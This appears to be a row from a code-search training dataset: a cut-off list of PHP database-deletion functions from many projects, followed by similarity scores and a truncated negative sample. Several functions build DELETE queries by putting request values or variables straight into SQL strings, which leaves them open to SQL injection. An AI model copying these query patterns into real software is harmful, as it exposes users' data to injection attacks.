$idficha;\n\t\t\n\t\t\tDELETE eb\n\t\t\t\tFROM enfermedades_bases eb \n\t\t\t\tWHERE eb.id_ficha = $idficha;\n\t\t\t\n\t\t\tDELETE ha\n\t\t\t\tFROM hospitalizaciones_aislamientos ha \n\t\t\t\tWHERE ha.id_ficha = $idficha;\n\t\t\t\n\t\t\tDELETE l\n\t\t\t\tFROM laboratorios l \n\t\t\t\tWHERE l.id_ficha = $idficha; \n\t\t\t\n\t\t\tDELETE pa\n\t\t\t\tFROM pacientes_asegurados pa\n\t\t\t\tWHERE pa.id_ficha = $idficha;\n\t\t\t\n\t\t\tDELETE pc\n\t\t\t\tFROM personas_contactos pc\n\t\t\t\tWHERE pc.id_ficha = $idficha;\n\t\t\t\n\t\t\tDELETE pn\n\t\t\t\tFROM personas_notificadores pn\n\t\t\t\tWHERE pn.id_ficha = $idficha;\n\n\t\t\tSET FOREIGN_KEY_CHECKS = 0;\n\n\t\t\tDELETE dc, m\n\t\t\tFROM datos_clinicos dc\n\t\t\tLEFT JOIN malestar m\n\t\t\t\tON m.id_datos_clinicos = dc.id\n\t\t\tWHERE dc.id_ficha = $idficha;\n\n\t\t\tSET FOREIGN_KEY_CHECKS = 1;\n\n\t\t\tDELETE f\n\t\t\tFROM fichas f\n\t\t\tWHERE f.id_ficha = $idficha;\n\t\t\t\";\n\t\t\n\t\t\t$stmt = $pdo->prepare($sql);\n\n\t\t\tif ($stmt->execute()) {\n\t\t\t\t//para reutilizar este metodo se hace la verificacion\n\t\t\t\tif($this->eliminarFicha == \"eliminarFichaAll\")\n\t\t\t\t\treturn \"ok\";\n\t\t\t\telse echo \"ok\";\t\n\t\t\t}\n\t\t\telse{\n\t\t\t\tprint_r($stmt->errorInfo());\n\t\t\t\techo \"error\";\n\t\t\t}\n\t\t\t\t\t\n\t\t} else {\n\t\t\t\tprint_r($stmt->errorInfo());\n\t\t\t\techo \"error\";\n\t\t}\n\t}", "function eliminarConceptoCta(){\n\t\t$this->procedimiento='pre.f_concepto_cta_ime';\n\t\t$this->transaccion='PRE_CCTA_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_concepto_cta','id_concepto_cta','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function deletar($tabela,$where)\n\t{\n\t\t$this->conectar();\n\t\t$this->sql=\"\";\n\t\t\n\t\t$this->sql= \"DELETE FROM \".$tabela.\" WHERE \".$where.\"\";\n\t\t$this->query = mysqli_query($this->conectar(),$this->sql) or die ($this->erro(mysqli_error()));\n\t\t\n\t}", "public function delete($fisicasuelo);", "static public function mdlEliminarTallerDetalle($tabla,$datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id_cabecera = :id\");\n\n\t\t$stmt -> bindParam(\":id\", $datos, PDO::PARAM_INT);\n\n\t\tif($stmt -> execute()){\n\n\t\t\treturn \"ok\";\n\t\t\n\t\t}else{\n\n\t\t\treturn \"error\";\t\n\n\t\t}\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n }", "function deletefinite($val1,$val2)\t// elimina la identificacion\n\t{\n $obj_Gurpo=new Conexion();\n $query=\"delete from fin where id_exp=$val1 and id_fin=$val2\";\n\t\t\t$obj_Gurpo->consulta($query); // ejecuta la consulta para borrar la identificacion\n\t\t\treturn '<div id=\"mensaje\"><p/><h4>Se Habilito el Expediente</h4></div>'; // retorna todos los registros afectados\n\n }", "public function delete($tienda);", "function removeAval($codUsr,$cod,$tipo){\r\n\t\t$fAval = new fachada_avaliacao();\r\n\t\t$fAval->removeAval($codUsr,$cod,$tipo);\r\n\t}", "public function EliminarRegistros($tabla,$ColFiltro, $ItemElim)\r\n {\r\n\t//echo \"Entrando a delete\";\r\n\tmysql_query(\"DELETE FROM $tabla WHERE $ColFiltro='$ItemElim'\",$this->con) or die('no se pudo eliminar el item solicitado en la tabla: $this->tabla' . mysql_error());\r\n\t//print('\t<center><br><h1>Se ha eliminado el Item Numero: '.$idItem.' de la tabla '.$this->tabla.'</h1><br>\r\n\t\r\n\t//</center> \r\n\t//');\r\n\t\t//echo \"Saliendo de delete \";\r\n\t}", "abstract public function mass_remove();", "function removeRegistro($id) {\n GLOBAL $con;\n\n //busca info\n $querybusca = \"select * from kardexs where id='\" . $id . \"'\";\n $qry = mysql_query($querybusca);\n $linha = mysql_fetch_assoc($qry);\n\n //Apagua\n $query = \"delete from kardexs where id='\" . $id . \"'\";\n mysql_query($query, $con) or die(mysql_error());\n\n if (saldoExiste($linha['produto_id'], $linha['estoque_id'])) {\n //atualiza retirando saldo\n $saldoAtual = saldoByEstoque($linha['produto_id'], $linha['estoque_id']);\n if ($linha['sinal'] == '+') {\n $saldoAtual_acerto = $saldoAtual - $linha['qtd'];\n } else {\n $saldoAtual_acerto = $saldoAtual + $linha['qtd'];\n }\n\n\n saldo_atualiza($linha['produto_id'], $linha['estoque_id'], $saldoAtual_acerto);\n }\n}", "public function delete_timbudaya($nopeg) {\n\t\t$this->db->where('nopeg', $nopeg)\n\t\t\t\t ->delete('baru_tim_implementasi_budaya');\n\t}", "public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }", "public function avoir_realisateur_favoris_delete(){\r\n\t\tglobal $conn;\r\n\t\t$query = $conn->prepare(\"DELETE QUICK FROM avoir_realisateur_favoris WHERE :id_films = id_films AND :id_realisateur = id_realisateur;\");\r\n\t\t$query->execute(array(\"id_films\" => $this->id_films,\"id_realisateur\" => $this->id_realisateur ));\r\n\t}", "public function remover_optativas($turma){\n $save = [];\n\n foreach ($turma->optativas as $optativa) {\n\n //SE TIVER AULAS PARA A OPTATIVA A SER REMOVIDA REMOVE-AS TAMBÉM, E FICA SEM PROFESSOR QUE A LECIONE.\n\n if($turma->aulas->where('disciplina_id','=', $optativa->disciplina_id)->isNotEmpty()){\n\n $disciplina = Disciplina::find($optativa->disciplina_id);\n $disciplina->professores()->wherePivot('disciplina_id','=',$optativa->disciplina_id)->detach(); \n $save[] = $turma->aulas()->where('disciplina_id','=', $optativa->disciplina_id)->delete();\n }\n\n $save[] = $turma->optativas()->delete($optativa);\n }\n\n return FaltaController::all_save($save,count($save));\n }", "function deleteFee()\n {\n global $db;\n $requete = $db->prepare('DELETE FROM fees WHERE idF = ?');\n $requete->execute(array($this->idF));\n }", "public static function remove_self() {\n\t\tglobal $I2_SQL;\n\t\t$tjstarid = $I2_SQL->query('SELECT boxid FROM intrabox WHERE name=\"tjstar\";')->fetch_single_value();\n\t\t$users = $I2_SQL->query('SELECT uid FROM intrabox_map WHERE boxid=%d;', $tjstarid)->fetch_all_arrays(Result::ASSOC);\n\t\tforeach ($users as $user) {\n\t\t\t$order = $I2_SQL->query('SELECT box_order FROM intrabox_map WHERE boxid=%d AND uid=%d;', $tjstarid, $user['uid'])->fetch_single_value();\n\t\t\t$I2_SQL->query('DELETE FROM intrabox_map WHERE uid=%d AND boxid=%d;', $user['uid'], $tjstarid);\n\t\t\t$I2_SQL->query('UPDATE intrabox_map SET box_order=box_order-1 WHERE uid=%d AND box_order>%d;', $user['uid'], $order);\n\t\t}\n\t\t$I2_SQL->query('DELETE FROM intrabox WHERE name=\"tjstar\";');\n\t\t\n\t}", "static public function mdlEliminarDetalleTemporal($tabla, $eliminar){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE codigo = :codigo AND articulo = :articulo\");\n\n $stmt -> bindParam(\":codigo\", $eliminar[\"codigo\"], PDO::PARAM_INT);\n $stmt -> bindParam(\":articulo\", $eliminar[\"articulo\"], PDO::PARAM_STR);\n\n\t\tif($stmt -> execute()){\n\n\t\t\treturn \"ok\";\n\n\t\t}else{\n\n\t\t\treturn \"error\";\n\n\t\t}\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n\t}", "function delete_Venta($fl) {\n\t\t\tif ($this->dato_Delete('ventas', 'folio', $fl)) {\n\t\t\t\treturn true;\n\t\t\t}else{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "function eliminarMetodologia(){\n\t\t$this->procedimiento='gem.f_metodologia_ime';\n\t\t$this->transaccion='GEM_GEMETO_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_metodologia','id_metodologia','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function DBEliminar()\n {\n $oDbl = $this->getoDbl();\n $nom_tabla = $this->getNomTabla();\n if (($oDblSt = $oDbl->exec(\"DELETE FROM $nom_tabla WHERE id_situacion='$this->iid_situacion'\")) === false) {\n $sClauError = 'Nota.eliminar';\n $_SESSION['oGestorErrores']->addErrorAppLastError($oDbl, $sClauError, __LINE__, __FILE__);\n return false;\n }\n return true;\n }", "function del_barrio ($idbarrios) {\n // $idbarrios --> Identificador del barrio que se va a eliminar\n // Primero borramos las actividades y por lo tanto, primero las imagenes y los documentos de las actividades \n \n // Borramos las imagenes\n//OJO ??? // No la borramos del HD por si acaso\n $sql = \"SELECT idactividades FROM actividades WHERE idbarrio='\" . $idbarrios.\"'\";\n $resultado = $this -> db -> query($sql);\n foreach ($resutado->result() as $row) {\n $sql_borra_imagen = \"DELETE FROM imagenes WHERE idactividad ='\" . $row->idactividades.\"'\";\n $resultado_borrado = $this -> db -> query($sql_borra_imagen);\n } \n \n // Borramos los documentos\n //OJO ??? // No la borramos del HD por si acaso\n $sql = \"SELECT idactividades FROM actividades WHERE idbarrio='\" . $idbarrios.\"'\";\n $resultado = $this -> db -> query($sql);\n foreach ($resutado->result() as $row) {\n $sql_borra_documento = \"DELETE FROM documentos WHERE idactividad ='\" . $row->idactividades.\"'\";\n $resultado_borrado = $this -> db -> query($sql_borra_documento);\n } \n \n\n // Ahora borramos las actividades\n $sql = \"DELETE FROM actividades WHERE idbarrio='\" . $idbarrios.\"'\";\n $resultado = $this -> db -> query($sql);\n\n // Y por ultimo el barrio\n $sql = \"DELETE FROM barrios WHERE idbarrios='\" . $idbarrios.\"'\";\n $resultado = $this -> db -> query($sql);\n }", "public function Deletar(){\n \n // Istancia a classe \"Funcionario\" do arquivo \"funcionario_class\".\n $funcionario = new Funcionario();\n \n // Pega o id do funcionário para deletá-lo.\n $funcionario->idFuncionario = $_GET['id'];\n \n // Chama o metodo para executar o delete.\n $funcionario::Delete($funcionario);\n \n }", "private function eliminarEmpleadoRepetido()\n {\n //Sino me los trata como strings\n $this->empleados = array_unique($this->empleados, SORT_REGULAR);\n }", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function eliminarChequera(){\n\t\t$this->procedimiento='tes.f_chequera_ime';\n\t\t$this->transaccion='TES_CHQ_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_chequera','id_chequera','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function eliminaAreaFun($id_areafun){\r\n\t\tself::$datoDB->deleteAreaFun($id_areafun);\r\n\t\tself::grillaAreaFun();\r\n\t}", "function eliminarCursosDelTipoDeMatricula($id){\n \t$pdo = DatabaseCao::connect();\n $sql = \"DELETE FROM ca_tipo_matricula_curso WHERE tipo_matricula = ?\";\n $q = $pdo->prepare($sql);\n $q->execute(array($id));\n DatabaseCao::disconnect();\n }", "function eliminar_insumos($objeto){\n\t\t$sql=\"\tDELETE FROM\n\t\t\t\t\t app_producto_material\n\t\t\t\tWHERE\n\t\t\t\t\tid_producto =\".$objeto['id'];\n\t\t// return $sql;\n\t\t$result = $this->query($sql);\n\n\t\treturn $result;\n\t}", "public function Eliminar(){\n\t\t\t$enlace = AccesoBD::Conexion();\n\n\t\t\t$sql = \"DELETE FROM denuncia WHERE ID_DENUNCIA = '$this->idDenuncia'\";\n\n\t\t\tif ($enlace->query($sql) !== TRUE) {\n \t\t\techo \"Error al eliminar la denuncia\";\n \t\t\texit();\n\t\t\t}\n\t\t\techo \"Denuncia eliminada\";\n\t\t}", "function remove_sl(){\n\t\t\n\t}", "public function Eliminar_Exp_Laboral($data){\n $modelo = new HojaVida();\n $fechahora = $modelo->get_fecha_actual();\n $datosfecha = explode(\" \",$fechahora);\n $fechalog = $datosfecha[0];\n $horalog = $datosfecha[1];\n $tiporegistro = \"Experiencia Laboral\";\n $accion = \"Elimina una Nueva \".$tiporegistro.\" de el Sistema (Hoja vida) TALENTO HUMANO\";\n $detalle = $_SESSION['nombre'].\" \".$accion.\" \".$fechalog.\" \".\"a las: \".$horalog;\n $tipolog = 15;\n $idusuario = $_SESSION['idUsuario'];\n //$idusuario = $_POST['id_user'];;\n try {\n $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); \n //EMPIEZA LA TRANSACCION\n $this->pdo->beginTransaction();\n $sql = \"DELETE FROM th_experiencia_laboral WHERE exp_id = ?\";\n\n $this->pdo->prepare($sql)\n ->execute(\n array(\n $data->id\n )\n ); \n $this->pdo->exec(\"INSERT INTO log (fecha, accion,detalle,idusuario,idtipolog) VALUES ('$fechalog', '$accion','$detalle','$idusuario','$tipolog')\");\n //SE TERMINA LA TRANSACCION \n $this->pdo->commit();\n } catch (Exception $e) {\n $this->pdo->rollBack();\n die($e->getMessage());\n }\n }", "public function Eliminar()\n {\n $sentenciaSql = \"DELETE FROM \n detalle_orden \n WHERE \n id_detalle_orden = $this->idDetalleOrden\";\n $this->conn->preparar($sentenciaSql);\n $this->conn->ejecutar();\n }", "public function eliminarPorDominio($dominio)\n {\n }", "public function removeFirst();", "function eliminar_autonomo()\n\t{\n\t\ttry {\n\t\t\t$this->db->abrir_transaccion();\n\t\t\t$this->db->retrasar_constraints();\n\t\t\t$this->eliminar();\n\t\t\t$this->db->cerrar_transaccion();\n\t\t\t$this->manejador_interface->mensaje(\"El proyecto '{$this->identificador}' ha sido eliminado\");\n\t\t} catch ( toba_error $e ) {\n\t\t\t$this->db->abortar_transaccion();\n\t\t\t$this->manejador_interface->error( \"Ha ocurrido un error durante la eliminacion de TABLAS de la instancia:\\n\".\n\t\t\t\t\t\t\t\t\t\t\t\t$e->getMessage() );\n\t\t}\n\t}", "public function dropWhile(Closure $fn): VectorInterface;", "public function remover() {\n \n $queryVerificaInscricao = '\n select * from tb_inscricao_atividade where id_atividade = :id_atividade \n ';\n \n $stmtInscAtt = $this->conexao->prepare($queryVerificaInscricao);\n $stmtInscAtt->bindValue(':id_atividade', $_GET['id_att']);\n $stmtInscAtt->execute();\n \n $inscAtt = $stmtInscAtt->fetchAll(PDO::FETCH_OBJ);\n \n // echo '<pre>';\n // print_r($inscAtt);\n // echo '</pre>';\n \n if (!empty($inscAtt)) {\n foreach ($inscAtt as $inscAttInd) {\n $queryDeleteInscAtt = 'delete from tb_inscricao_atividade where \n id_atividade = :id_atividadeDel and \n id_evento = :id_eventoDel and \n id_usuario = :id_usuarioDel';\n \n $stmtInscAttDel = $this->conexao->prepare($queryDeleteInscAtt);\n $stmtInscAttDel->bindValue(':id_atividadeDel', $inscAttInd->id_atividade);\n $stmtInscAttDel->bindValue(':id_eventoDel', $inscAttInd->id_evento);\n $stmtInscAttDel->bindValue(':id_usuarioDel', $inscAttInd->id_usuario);\n $stmtInscAttDel->execute();\n }\n }\n\n $queryInscCupomAtt = '\n select * from tb_cupom where id_atividade = :id_atividadeCupDel\n ';\n\n $stmtInscCupomAtt = $this->conexao->prepare($queryInscCupomAtt);\n $stmtInscCupomAtt->bindValue(':id_atividadeCupDel', $_GET['id_att']);\n $stmtInscCupomAtt->execute();\n\n $cupomAtt = $stmtInscCupomAtt->fetchAll(PDO::FETCH_OBJ);\n\n // echo '<pre>';\n // print_r($cupomAtt);\n // echo '</pre>';\n\n if (!empty($cupomAtt)) {\n foreach ($cupomAtt as $cupomAttInd) {\n $queryDeleteCupomAtt = '\n delete from tb_cupom where id = :id_cupomDel\n ';\n\n echo $cupomAttInd->id;\n\n $stmtInscCupomAttDel = $this->conexao->prepare($queryDeleteCupomAtt);\n $stmtInscCupomAttDel->bindValue(':id_cupomDel', $cupomAttInd->id);\n $stmtInscCupomAttDel->execute();\n }\n }\n \n $query = '\n delete from tb_atividade \n where id = :id';\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id', $_GET['id_att']);\n\n return $stmt->execute();\n }", "function supprimer1($connexion,$nomTable,$nomClePrimaire,$valeurClePrimaire) { \n $req =$connexion -> query(\"DELETE FROM $nomTable WHERE $nomClePrimaire = '$valeurClePrimaire'\");\n }", "function eliminarMaquinaria(){\n\t\t$this->procedimiento='snx.ft_maquinaria_ime';\n\t\t$this->transaccion='SNX_MAQ_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_maquinaria','id_maquinaria','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function eliminarMulta($id) {\n $consultaExistenciaMulta = $this->db->select(\"SELECT * FROM multa \"\n . \"WHERE id = '\" . $id . \"' \");\n\n if ($consultaExistenciaMulta != null) {\n $this->db->delete('multa', \"`id` = '{$id}'\");\n } else {\n //Sino Inserto datos de Pre-Matricula del Estudiante\n echo 'Error... no existe';\n die;\n }\n }", "function removeAll() ;", "function removeAll() ;", "public function delete(User $user, Fila $fila)\n {\n //\n }", "public function eliminar(){\n $dimensiones = $this->descripciones()->distinct()->get()->pluck('id')->all();\n $this->descripciones()->detach($dimensiones);\n DescripcionProducto::destroy($dimensiones);\n $this->categorias()->detach();\n $this->imagenes()->delete();\n $this->delete();\n }", "function setDelete(){\n\t\t$msg\t= \"===========\\tELIMINADO LA CUENTA \" . $this->mNumeroCuenta . \"\\r\\n\";\n\t\t$cuenta\t= $this->mNumeroCuenta;\n\t\t$socio\t= $this->mSocioTitular;\n\t\t$xQL\t= new MQL();\n\t\t\t//Cuenta\n\t\t\t$SQLDCuenta \t= \"DELETE FROM captacion_cuentas WHERE numero_cuenta = $cuenta AND numero_socio = $socio \";\n\t\t\t$x = $xQL->setRawQuery($SQLDCuenta);\n\n\t\t\tif ($x[\"stat\"] == false ){\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tERROR\\t\" . $x[\"error\"] . \"\\r\\n\";\n\t\t\t} else {\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tSUCESS\\t Eliminando la Cuenta (\" . $x[\"info\"] . \")\\r\\n\";\n\t\t\t}\n\t\t\t//Firma\n\t\t\t/*$SQLDFirma \t= \"DELETE FROM socios_firmas WHERE numero_de_cuenta = $cuenta \";\n\t\t\t$x = my_query($SQLDFirma);\n\n\t\t\tif ($x[\"stat\"] == false ){\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tERROR\\t\" . $x[\"error\"] . \"\\r\\n\";\n\t\t\t} else {\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tSUCESS\\tEliminando las Firmas (\" . $x[\"info\"] . \")\\r\\n\";\n\t\t\t}*/\n\t\t\t//sdpm\n\t\t\t$SQLD_SDPM \t= \"DELETE FROM captacion_sdpm_historico WHERE cuenta = $cuenta \";\n\t\t\t$x = $xQL->setRawQuery($SQLD_SDPM);\n\n\t\t\tif ($x[\"stat\"] == false ){\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tERROR\\t\" . $x[\"error\"] . \"\\r\\n\";\n\t\t\t} else {\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tSUCESS\\t\" . $x[\"info\"] . \"\\r\\n\";\n\t\t\t}\n\n\t\t\t//Movimientos\n\t\t\t$SQLDOpes\t= \"DELETE FROM operaciones_mvtos WHERE docto_afectado = $cuenta AND socio_afectado = $socio \";\n\t\t\t$x = $xQL->setRawQuery($SQLDOpes);\n\t\t\tif ($x[\"stat\"] == false ){\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tERROR\\t\" . $x[\"error\"] . \"\\r\\n\";\n\t\t\t} else {\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tSUCESS\\t\" . $x[\"info\"] . \"\\r\\n\";\n\t\t\t}\n\n\t\t\t$SQLDRecs\t= \"DELETE FROM operaciones_recibos WHERE docto_afectado = $cuenta AND numero_socio = $socio \";\n\t\t\t$x = $xQL->setRawQuery($SQLDRecs);\n\t\t\tif ($x[\"stat\"] == false ){\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tERROR\\t\" . $x[\"error\"] . \"\\r\\n\";\n\t\t\t} else {\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tSUCESS\\t\" . $x[\"info\"] . \"\\r\\n\";\n\t\t\t}\n\n\t\t\t//Actualizar el Credito Relacionado\n\t\t\t$SQLDCC\t= \"UPDATE creditos_solicitud\n\t\t\t\t\t\tSET contrato_corriente_relacionado = \" . CTA_GLOBAL_CORRIENTE . \"\n\t\t\t\t\t\tWHERE contrato_corriente_relacionado = $cuenta \";\n\t\t\t$x = $xQL->setRawQuery($SQLDCC);\n\t\t\tif ($x[\"stat\"] == false ){\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tERROR\\t\" . $x[\"error\"] . \"\\r\\n\";\n\t\t\t} else {\n\t\t\t\t$msg\t.= date(\"H:i:s\") . \"\\tSUCESS\\tActualizando Creditos Relacionados (\" . $x[\"info\"] . \") \\r\\n\";\n\t\t\t}\n\t\treturn $msg;\n\t}", "public function supprimerDico($id)\r\n {\r\n \t$arr = $this->obtenirConceptByDico($id);\r\n\t\tforeach($arr as $enf){\r\n \t\t$this->supprimerConcept($enf[\"id_concept\"]);\t\r\n \t} \t\r\n \t$this->delete('id_dico =' . (int)$id);\r\n }", "function supprimerProduit($code) {\n\t // echo \"<p> supprimer $code </p>\";\n\t \n\t /* on verifie si le produit est dans le panier */\n\t if ( isset($this->lignes[$code]) ) {\n\t /* il y est, donc on retrouve la ligne de panier */\n\t $lp = $this->lignes[$code] ;\n\t \n\t /* on supprime 1 de la quantite */\n\t $lp->qte = $lp->qte - 1 ; \n\t \n\t // echo \"<p> nouvelle qte : \" . $lp->qte . \"</p>\" ;\n\t \n\t /* si qte<1, on supprime toute la ligne du tableau */\n\t if ( $lp->qte < 1) {\n\t unset($this->lignes[$code]);\n\t // echo \"<p> produit $code supprime \" . count($this->lignes) . \"</p>\";\n\t \n\t /* on enleve un produit de nbProduits */\n\t $this->nbProduits = $this->nbProduits - 1;\n\t }\n\t }\t \n\t }", "function eliminaRuta()\r\n\t{\r\n\t\t$query = \"DELETE FROM \" . self::TABLA . \" WHERE IdRuta = \".$this->IdRuta.\";\";\r\n\t\treturn parent::eliminaRegistro( $query);\r\n\t}", "function eliminarFila($id_campo, $cant_campos){\n\t$respuesta = new xajaxResponse();\n\t$respuesta->addRemove(\"rowDetalle_$id_campo\"); //borro el detalle que indica el parametro id_campo\n\t-- $cant_campos; //Resto uno al numero de campos y si es cero borro todo\n\tif($cant_campos == 0){\n\t\t$respuesta->addRemove(\"rowDetalle_0\");\n\t\t$respuesta->addAssign(\"num_campos\", \"value\", \"0\"); //dejo en cero la cantidad de campos para seguir agregando si asi lo desea el usuario\n\t\t$respuesta->addAssign(\"cant_campos\", \"value\", \"0\");\n\t}\n $respuesta->addAssign(\"cant_campos\", \"value\", $cant_campos); \n\treturn $respuesta;\n}", "function eliminarPresupuesto(){\n\t\t$this->procedimiento='pre.ft_presupuesto_ime';\n\t\t$this->transaccion='PRE_PRE_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_presupuesto','id_presupuesto','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function diminuirEstoque($unidades)\n {\n if (is_numeric($unidades) and $unidades >= 0) {\n $this->estoque -= $unidades;\n }\n }", "function eliminarTipoDeMatricula($id){\n \t$pdo = DatabaseCao::connect();\n mysql_query(\"DELETE FROM ca_tipo_matricula WHERE id = ? ;\");\n $sql = \"DELETE FROM ca_tipo_matricula WHERE id = ?\";\n $q = $pdo->prepare($sql);\n $q->execute(array($id));\n DatabaseCao::disconnect();\n }", "function eliminarHerrajeaccesorio(){\n\t\t$this->procedimiento='snx.ft_herrajeaccesorio_ime';\n\t\t$this->transaccion='SNX_HAC_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_herrajeaccesorio','id_herrajeaccesorio','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function removeTemporary();", "function eliminar($id) {\n\t\t\tif ($this->con->conectar() == true) {\n\t\t\t\t$sql = \"DELETE FROM detalle_liquidacion WHERE detliqId = '\".$id.\"'\";\n\t\t\t\t\t\t\n\t\t\t\treturn mysql_query($sql) or die (mysql_error());\n\t\t\t}\n\t\t}", "public function DBEliminar()\n {\n $oDbl = $this->getoDbl();\n $nom_tabla = $this->getNomTabla();\n if (($oDbl->exec(\"DELETE FROM $nom_tabla WHERE nivel_stgr='$this->inivel_stgr'\")) === false) {\n $sClauError = 'NivelStgr.eliminar';\n $_SESSION['oGestorErrores']->addErrorAppLastError($oDbl, $sClauError, __LINE__, __FILE__);\n return false;\n }\n return true;\n }", "function wbf_projet_fournitures_supprimer_callback($form, &$form_state){\r\n if ($form_state['frn_nums'] > 1) {\r\n $form_state['frn_nums']--;\r\n }\r\n $form_state['rebuild'] = TRUE;\r\n}", "function Delete_Partido($partido)\n{\n $valor = eliminar(\"DELETE FROM `tb_partidos` WHERE id_partido=$partido\");\n return $valor;\n}", "public function etatSupprimerUn($id)\n\t{\n\t\tGestion::supprimer(\"Etat\",\"idEtat\",$id);// votre code ici\n\t}", "public function eliminar()\n\t{\n\t\t$idestado = $_POST['idestado'];\n\t\t//en viamos por parametro el id del estado a eliminar\n\t\tEstado::delete($idestado);\n\t}" ]
[ "0.6244859", "0.61213934", "0.598869", "0.59085435", "0.5887818", "0.5803714", "0.57160234", "0.5656695", "0.56497943", "0.5624057", "0.56140876", "0.56051713", "0.55929357", "0.559276", "0.55890304", "0.5571644", "0.5555447", "0.55453396", "0.5542167", "0.55356807", "0.55191207", "0.5499396", "0.5490904", "0.54788566", "0.5468302", "0.5458829", "0.5451069", "0.5450825", "0.54477185", "0.5446708", "0.54236364", "0.54078925", "0.53914124", "0.53818107", "0.5362126", "0.53423697", "0.5339103", "0.53184646", "0.5308731", "0.53072083", "0.5290928", "0.5282301", "0.5279689", "0.5279076", "0.52787125", "0.52754146", "0.52734697", "0.52633494", "0.525622", "0.5254139", "0.5251647", "0.52508855", "0.5249496", "0.5248885", "0.5245868", "0.52388924", "0.5225054", "0.5206416", "0.52003366", "0.5200262", "0.5199346", "0.51993215", "0.51993215", "0.51993215", "0.51993215", "0.51788753", "0.51780164", "0.5172858", "0.5163556", "0.5163267", "0.51588583", "0.51573706", "0.5150904", "0.5150463", "0.5149426", "0.5141026", "0.5140813", "0.5139899", "0.51343334", "0.5132623", "0.51238674", "0.51195407", "0.51195407", "0.511936", "0.5118459", "0.5113323", "0.51011866", "0.5096444", "0.50922436", "0.5088403", "0.5079277", "0.5073948", "0.50687534", "0.50637054", "0.50614345", "0.505662", "0.50522375", "0.5051958", "0.5048728", "0.5038331", "0.5037932" ]
0.0
-1
Mostra els cotxes ordenats per marca
function ordmarca() { $coche=new coches_model(); //Uso metodo del modelo de coches $datos=$coche->ordmarca(); $titulo = "Listado de Coches ordenado"; //Cargar vista $this->view("coches_listado.phtml",array( "datos" => $datos, "Listado de Personas" => $titulo )); //require_once("views/coches_listado.phtml"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function armaColeccionObligatorios() {\n $dao = new PGDAO();\n $result = array();\n $where = $this->strZpTprop();\n if ($where != '') {\n $colec = $this->leeDBArray($dao->execSql($this->COLECCIONZPCARACOBLIG . \" and tipoprop in (\" . $where . \")\"));\n } else {\n $colec = $this->leeDBArray($dao->execSql($this->COLECCIONZPCARACOBLIG));\n }\n foreach ($colec as $carac) {\n $result[$carac['id_zpcarac']] = 0;\n }\n return $result;\n }", "protected function armaColeccionMapeoCarac() {\n $dao = new PGDAO();\n $where = $this->strZpTprop();\n $strSql = $this->COLECCIONMAPEOCARAC . \" WHERE tipoprop in (\" . $where . \");\";\n $arrayRet = $this->leeDBArray($dao->execSql($strSql));\n\treturn $arrayRet;\n }", "function cuentabancos(){\n\t\t\t$sql=$this->query(\"select m.IdPoliza,m.Cuenta,c.description,c.manual_code\n\t\t\tfrom cont_movimientos m,cont_polizas p,cont_accounts c,cont_config conf\n\t\t\twhere m.cuenta=c.account_id and c.currency_id=2 \n\t\t\tand c.`main_father`=conf.CuentaBancos and p.idtipopoliza!=3 and m.TipoMovto not like '%M.E%'\n\t\t\tand 